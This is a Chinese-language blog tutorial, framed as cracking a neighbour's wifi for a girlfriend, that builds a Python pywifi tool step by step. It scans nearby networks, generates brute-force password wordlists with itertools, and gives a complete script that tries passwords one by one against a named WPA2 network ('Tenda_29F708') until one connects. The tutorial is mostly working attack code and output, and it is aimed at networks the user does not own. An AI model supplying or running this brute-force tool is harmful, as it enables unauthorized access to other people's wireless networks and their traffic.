女朋友讓你幫他破解鄰居家的wifi?看完這篇文章你就會了

現在的年輕人沒網可不行,家裏沒有網絡的也都會搜索看看附近有沒有能夠連接的網絡,可是沒有密碼該怎麼辦呢,很多人都會想到用萬能鑰匙,那麼本篇文章我們就用Python來自己實現一下wifi密碼的破解。

模塊介紹

Python提供了一個用於操作無線接口的跨平臺模塊:pywifi。
所以我們先將該模塊下載好,下載指令:pip install pywifi。關於pywifi模塊的使用這裏有介紹:https://github.com/awkman/pywifi/blob/master/DOC.md,感興趣的同學可以進去看看。

模塊初體驗

安裝好模塊之後,我們來嘗試着使用一下,新建一個.py文件,將模塊導入:

import pywifi
# 需要下載該模塊comtypes
from pywifi import const

這裏的第二行代碼意思是引用pywifi模塊中定義的常量,引入後就可以直接使用了。

判斷是否連接到wifi環境

pywifi模塊如何判斷我們當前是否已經連接了wifi呢?很簡單:

import pywifi
# 需要下載該模塊comtypes
from pywifi import const

# 判斷是否已經連接到wifi
def gic():
	# 創建一個無線對象
	wifi = pywifi.PyWiFi()
	# 獲取到第一個無線網卡
	ifaces = wifi.interfaces()[0]
	print(ifaces.name())

gic()

首先創建一個無線對象,通過該對象調用interfaces()方法可以獲得網卡列表,通常,一個平臺只有一個wifi接口,所以直接取索引0獲得我們的網卡對象,並打印其名稱,運行結果爲:

Qualcomm Atheros AR956x Wireless Network Adapter
[Finished in 0.7s]

然後我查看了自己的網卡名稱:
在這裏插入圖片描述
說明剛纔的程序已經成功獲取到了網卡對象,通過該對象調用status()方法能夠知曉我們的wifi狀態,比如:

import pywifi
# 需要下載該模塊comtypes
from pywifi import const

# 判斷是否已經連接到wifi
def gic():
	# 創建一個無線對象
	wifi = pywifi.PyWiFi()
	# 獲取到第一個無線網卡
	ifaces = wifi.interfaces()[0]
	print(ifaces.status())

gic()

此時運行程序,結果爲:

4
[Finished in 0.7s]

實際上,wifi共有四種狀態,分別爲:

  1. const.IFACE_DISCONNECTED:值爲0,表示未連接
  2. const.IFACE_SCANNING:值爲1,表示正在掃描
  3. const.IFACE_INACTIVE:值爲2,表示未激活
  4. const.IFACE_CONNECTING:值爲3,表示正在連接
  5. const.IFACE_CONNECTED:值爲4,表示已連接

從這些常量定義中,可以得知我的電腦目前是連接了wifi的,事實也確實如此:
在這裏插入圖片描述
所以如何實現判斷當前是否連接到了wifi,代碼如下:

import pywifi
# 需要下載該模塊comtypes
from pywifi import const

# 判斷是否已經連接到wifi
def gic():
	# 創建一個無線對象
	wifi = pywifi.PyWiFi()
	# 獲取到第一個無線網卡
	ifaces = wifi.interfaces()[0]
	# 判斷wifi狀態
	if ifaces.status() == const.IFACE_CONNECTED:
		print("已連接")
	else:
		print("未連接")

gic()

運行結果:

已連接
[Finished in 0.8s]

掃描附近的wifi

再介紹一下如何使用pywifi模塊掃描附近的wifi:

import pywifi
# 需要下載該模塊comtypes
from pywifi import const

# 掃描附近的wifi
def bies():
	wifi = pywifi.PyWiFi()
	ifaces = wifi.interfaces()[0]
	# 掃描wifi
	ifaces.scan()
	# 獲取掃描結果
	result  = ifaces.scan_results()
	for data in result:
		# ssid爲wifi的名稱
		print(data.ssid)

bies()

想實現這個功能非常簡單,還是先獲取到網卡對象,然後調用該對象的scan()方法進行掃描,並調用scan_results()獲取掃描結果,最後遍歷一下內容,運行結果爲:

Tenda_29F708
Tenda_29F708
ChinaNet-4m2m
CMCC-ZTRF
ChinaNet-5inu
ChinaNet-iTV-5inu
CMCC-PrvR
TP-LINK_402

ChinaNet-iTV-pkQy
FAST_8326
H3C_27B7EC
TP-LINK_A3AD
ChinaNet-q5xV
TP-LINK_3EC0
ChinaNet-iTV-q5xV
CMCC-CyQ7
TP-LINK_D14A
TP-LINK_BD06
jiangqi
ChinaNet-aork
iTV-aork
CMCC-4NDa
Chinanet
DoMyNet_1170
@PHICOMM_5E
ChinaNet-n3kT
MERCURY_A616
midea_da_0519
TP-LINK_7145
ChinaNet-hjDH
iTV-hjDH
DIRECT-NCLAPTOP-PMOEF6JBmsGm
ChinaNet-pkQy
ChinaNet-WDkE
CMCC-hvzz
CMCC-3NtF
TP-LINK_BE59yjj
MERCURY_4690
ChinaNet-iTV-4m2m
ChinaNet-2.4G-402


PHICOMM_9A6656
[Finished in 1.2s]

看來我附近的wifi還是挺多的哈,當然這是未連接wifi的結果,如果你已經連接上了wifi,它將只能掃描到已連接的wifi,比如我連接上wifi後再運行程序,結果爲:

Tenda_29F708
Tenda_29F708
[Finished in 0.9s]

斷開wifi連接

所以不管你當前是否連接上了網絡,在開始破解之前,我得先將wifi斷開連接:

import pywifi
# 需要下載該模塊comtypes
from pywifi import const
import time

# 測試連接
def wifiConnection(pwd):
	# 抓取網口
	wifi = pywifi.PyWiFi()
	# 獲取第一個無線網卡
	ifaces = wifi.interfaces()[0]
	# 斷開所有的連接
	ifaces.disconnect()
	time.sleep(1)

wifiConnection()

嘗試連接wifi

接下來就是最爲重要的一個功能,連接wifi,通過pywifi連接wifi需要以下幾個步驟:

  1. 創建wifi連接文件
  2. 確定要連接的wifi名稱
  3. 確定wifi的密碼
  4. 確定wifi的加密算法
  5. 對網卡開放
  6. 確定加密單元
  7. 刪除之前的所有wifi文件
  8. 添加自己創建的wifi文件
  9. 使用新的wifi文件進行連接

按照這些步驟進行編寫,代碼如下:

# 測試連接
def wifiConnection(pwd):
	# 抓取網口
	wifi = pywifi.PyWiFi()
	# 獲取第一個無線網卡
	ifaces = wifi.interfaces()[0]
	# 斷開所有的連接
	ifaces.disconnect()
	time.sleep(1)

	wifiStatus = ifaces.status()
	if wifiStatus == const.IFACE_DISCONNECTED:
		# 創建wifi的連接文件
		profile = pywifi.Profile()  
		# 要連接wifi的名稱
		profile.ssid = "Tenda_29F708"
		# 對網卡開放
		profile.auth = const.AUTH_ALG_OPEN
		# wifi加密算法
		profile.akm.append(const.AKM_TYPE_WPA2PSK)
		# 加密單元
		profile.cipher = const.CIPHER_TYPE_CCMP
		# 密碼
		profile.key = pwd
		# 刪除所有的wifi文件
		ifaces.remove_all_network_profiles()
		# 設定新的連接文件
		tep_profile = ifaces.add_network_profile(profile)
		# 用新的連接文件去測試連接
		ifaces.connect(tep_profile)
		# 給wifi一個連接的時間
		time.sleep(4)
		if ifaces.status() == const.IFACE_CONNECTED:
			return True
		else:
			return False
	else:
		print("已連接")

在上面的一系列步驟中,僅有一步內容是不確定的,那就是wifi的密碼,我們並不知道wifi的密碼,所以我們的想法是不斷地將某個密碼傳入進行測試連接,若連接失敗,則換個密碼繼續嘗試直至連接成功。

關鍵就是這個wifi的密碼該如何生成呢?這個在網上去搜其實有很多:
在這裏插入圖片描述
當然你也可以自己生成密碼本,不過自己生成的肯定沒有人家的全面,要生成密碼本也很簡單,代碼如下:

import itertools as its
# 迭代器

words = "123"

r = its.product(words,repeat = 3)
# 保存到文件中
dic = open("wifipwd.txt","a")
for i in r:
	dic.write("".join(i))
	dic.write("".join("\n"))
dic.close()

運行程序,產生wifipwd.txt文本,文本內容爲:

111
112
113
121
122
123
131
132
133
211
212
213
221
222
223
231
232
233
311
312
313
321
322
323
331
332
333

不過wifi的密碼遠沒有這麼簡單,它應該包含數字、大小寫字母甚至是特殊字符,所以自己寫的密碼本儼然不夠全面,比如:

import itertools as its
# 迭代器

words = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

# repeat表示生成的密碼位數
r = its.product(words,repeat = 8)
# 保存到文件中
dic = open("wifipwd.txt","a")
for i in r:
	dic.write("".join(i))
	dic.write("".join("\n"))
dic.close()

該程序能夠生成8位含數字、大小寫字母的wifi密碼。

開始破解

一切工作準備就緒,可以開始破解了,破解過程即:讀取密碼本,將密碼本中的密碼不斷地傳入測試連接的函數,如此反覆,直到連接成功,程序完整代碼如下:

import pywifi
# 需要下載該模塊comtypes
from pywifi import const
import time

# 判斷是否已經連接到wifi
def gic():
	# 創建一個無線對象
	wifi = pywifi.PyWiFi()
	# 獲取到第一個無線網卡
	ifaces = wifi.interfaces()[0]

	if ifaces.status() == const.IFACE_CONNECTED:
		print("已連接")
	else:
		print("未連接")

# 掃描附近的wifi
def bies():
	wifi = pywifi.PyWiFi()
	ifaces = wifi.interfaces()[0]
	# 掃描wifi
	ifaces.scan()
	# 獲取掃描結果
	result  = ifaces.scan_results()
	for data in result:
		# ssid爲wifi的名稱
		print(data.ssid)

# 讀取密碼本
def readPassword():
	print("開始破解:")
	# 密碼本路徑
	path = "C:\\Users\\Administrator\\Desktop\\CrawlerDemo\\wifipwd.txt"
	# 打開文件
	file = open(path,"r")
	while True:
		try:
			# 讀取一行
			password = file.readline()
			bool = wifiConnection(password)
			if bool:
				print("密碼正確",password)
				break
			else:
				print("密碼不正確",password)
		except:
			continue

# 測試連接
def wifiConnection(pwd):
	# 抓取網口
	wifi = pywifi.PyWiFi()
	# 獲取第一個無線網卡
	ifaces = wifi.interfaces()[0]
	# 斷開所有的連接
	ifaces.disconnect()
	time.sleep(1)

	wifiStatus = ifaces.status()
	if wifiStatus == const.IFACE_DISCONNECTED:
		# 創建wifi的連接文件
		profile = pywifi.Profile()  
		# 要連接wifi的名稱
		profile.ssid = "Tenda_29F708"
		# 網卡的開放狀態
		profile.auth = const.AUTH_ALG_OPEN
		# wifi加密算法
		profile.akm.append(const.AKM_TYPE_WPA2PSK)
		# 加密單元
		profile.cipher = const.CIPHER_TYPE_CCMP
		# 密碼
		profile.key = pwd
		# 刪除所有的wifi文件
		ifaces.remove_all_network_profiles()
		# 設定新的連接文件
		tep_profile = ifaces.add_network_profile(profile)
		# 用新的連接文件去測試連接
		ifaces.connect(tep_profile)
		# 給wifi一個連接的時間
		time.sleep(4)
		if ifaces.status() == const.IFACE_CONNECTED:
			return True
		else:
			return False
	else:
		print("已連接")

readPassword()

到這裏,破解wifi程序就完成了,如果你理解了這個程序會發現,這種方式去破解wifi顯然很糟糕,如果wifi密碼很簡單的話,應該還是能夠破解出來的,只是時間問題(如果你有一個完善的密碼本)。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章